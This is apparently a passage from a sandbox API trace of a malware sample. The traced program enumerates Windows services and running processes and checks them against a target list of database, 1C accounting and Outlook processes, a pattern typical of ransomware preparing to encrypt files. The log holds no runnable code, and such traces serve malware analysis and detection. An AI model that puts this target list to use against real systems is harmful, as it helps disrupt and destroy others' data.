(lpString="TrkWks") returned 6 [0206.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0206.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0206.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0206.227] lstrlenW (lpString="UxSms") returned 5 [0206.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0206.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0206.227] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0206.227] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0206.228] lstrlenW (lpString="WdiServiceHost") returned 14 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0206.228] lstrlenW (lpString="WdiSystemHost") returned 13 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0206.228] lstrlenW (lpString="WinDefend") returned 9 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0206.228] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0206.228] lstrlenW (lpString="Winmgmt") returned 7 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0206.228] lstrlenW (lpString="wscsvc") returned 6 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0206.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0206.228] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0206.228] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0206.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0206.228] lstrlenW (lpString="wuauserv") returned 8 [0206.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0206.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0206.229] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0206.229] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0206.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0206.229] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x178 [0206.231] Process32FirstW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0206.232] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0206.233] lstrlenW (lpString="System") returned 6 [0206.233] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0206.233] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0206.234] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0206.234] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0206.234] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0206.234] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0206.234] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0206.234] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0206.235] lstrlenW (lpString="smss.exe") returned 8 [0206.235] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0206.235] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0206.235] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.235] lstrlenW (lpString="csrss.exe") returned 9 [0206.235] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0206.236] lstrlenW (lpString="wininit.exe") returned 11 [0206.236] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0206.237] lstrlenW (lpString="csrss.exe") returned 9 [0206.237] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0206.237] lstrlenW (lpString="winlogon.exe") returned 12 [0206.237] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0206.238] lstrlenW (lpString="services.exe") returned 12 [0206.238] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0206.239] lstrlenW (lpString="lsass.exe") returned 9 [0206.239] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0206.239] lstrlenW (lpString="lsm.exe") returned 7 [0206.239] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.240] lstrlenW (lpString="svchost.exe") returned 11 [0206.240] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.241] lstrlenW (lpString="svchost.exe") returned 11 [0206.241] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.241] lstrlenW (lpString="svchost.exe") returned 11 [0206.241] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.242] lstrlenW (lpString="svchost.exe") returned 11 [0206.242] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.242] lstrlenW (lpString="svchost.exe") returned 11 [0206.242] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0206.243] lstrlenW (lpString="audiodg.exe") returned 11 [0206.243] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.244] lstrlenW (lpString="svchost.exe") returned 11 [0206.244] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.244] lstrlenW (lpString="svchost.exe") returned 11 [0206.244] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0206.245] lstrlenW (lpString="dwm.exe") returned 7 [0206.245] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0206.245] lstrlenW (lpString="explorer.exe") returned 12 [0206.246] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0206.246] lstrlenW (lpString="spoolsv.exe") returned 11 [0206.246] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0206.247] lstrlenW (lpString="taskhost.exe") returned 12 [0206.247] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.247] lstrlenW (lpString="svchost.exe") returned 11 [0206.247] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0206.248] lstrlenW (lpString="taskeng.exe") returned 11 [0206.248] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0206.249] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0206.249] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0206.249] lstrlenW (lpString="nova.exe") returned 8 [0206.249] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0206.250] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0206.250] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0206.251] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0206.251] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0206.251] lstrlenW (lpString="picks blair.exe") returned 15 [0206.251] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0206.252] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0206.252] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0206.253] lstrlenW (lpString="principal.exe") returned 13 [0206.253] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0206.253] lstrlenW (lpString="transportation.exe") returned 18 [0206.253] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0206.254] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0206.254] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0206.254] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0206.254] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0206.255] lstrlenW (lpString="planned.exe") returned 11 [0206.255] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0206.256] lstrlenW (lpString="springer andrew.exe") returned 19 [0206.256] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0206.256] lstrlenW (lpString="cakes import.exe") returned 16 [0206.256] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0206.257] lstrlenW (lpString="theory.exe") returned 10 [0206.257] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0206.258] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0206.258] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0206.258] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0206.258] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0206.259] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0206.259] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0206.259] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0206.259] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0206.260] lstrlenW (lpString="indicescancellation.exe") returned 23 [0206.260] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0206.260] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0206.261] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0206.261] lstrlenW (lpString="desk.exe") returned 8 [0206.261] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.262] lstrlenW (lpString="svchost.exe") returned 11 [0206.262] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0206.262] lstrlenW (lpString="sppsvc.exe") returned 10 [0206.262] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0206.263] lstrlenW (lpString="svchost.exe") returned 11 [0206.263] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.436] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0206.436] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0206.437] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0206.437] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0206.437] lstrlenW (lpString="winhost.exe") returned 11 [0206.438] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0206.438] lstrlenW (lpString="cmd.exe") returned 7 [0206.438] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0206.439] lstrlenW (lpString="conhost.exe") returned 11 [0206.439] Process32NextW (in: hSnapshot=0x178, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0206.439] CloseHandle (hObject=0x178) returned 1 [0206.439] Sleep (dwMilliseconds=0x1f4) [0206.966] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63ff50 [0206.966] EnumServicesStatusExW (in: hSCManager=0x63ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0206.966] GetLastError () returned 0xea [0206.966] EnumServicesStatusExW (in: hSCManager=0x63ff50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a016f8, cbBufSize=0x134c, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a016f8, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0206.967] CloseServiceHandle (hSCObject=0x63ff50) returned 1 [0206.967] lstrlenW 